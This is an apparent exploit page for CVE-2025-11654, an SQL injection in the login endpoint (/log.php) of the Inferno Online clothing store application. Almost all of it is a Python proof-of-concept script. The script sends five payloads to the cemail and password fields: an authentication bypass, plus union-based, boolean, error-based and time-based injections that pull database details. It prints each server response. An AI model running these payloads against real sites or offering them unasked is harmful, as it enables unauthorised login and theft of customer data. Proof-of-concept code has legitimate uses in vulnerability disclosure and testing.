CVE-2025-11654：Inferno Online服装商城SQL注入漏洞

# CVE-2025-11654 PoC - SQL Injection in /log.php # Vulnerable parameters: cemail, password # Affected product: yousaf530 Inferno Online Clothing Store import requests target_url = "http://target-server.com" login_endpoint = "/log.php" # SQL Injection payloads for cemail and password parameters payloads = [ # Authentication bypass payload { "cemail": "[email protected]", "password": "' OR '1'='1' -- " }, # Union-based injection to extract data { "cemail": "' UNION SELECT 1,2,3,4,5-- ", "password": "test" }, # Boolean-based blind injection { "cemail": "' OR 1=1-- ", "password": "test" }, # Error-based injection { "cemail": "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- ", "password": "test" }, # Time-based blind injection { "cemail": "' OR SLEEP(5)-- ", "password": "test" } ] def exploit_sql_injection(url, endpoint, payload): """ Send malicious SQL injection payload to the vulnerable endpoint """ full_url = url + endpoint headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.post(full_url, data=payload, headers=headers, timeout=10) print(f"[*] Payload sent: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") print(f"[*] Response (first 500 chars): {response.text[:500]}") print("-" * 80) return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print(f"[*] Targeting: {target_url}{login_endpoint}") print("[*] Starting SQL Injection exploitation...") for i, payload in enumerate(payloads, 1): print(f"\n[*] Attempt {i}:") exploit_sql_injection(target_url, login_endpoint, payload)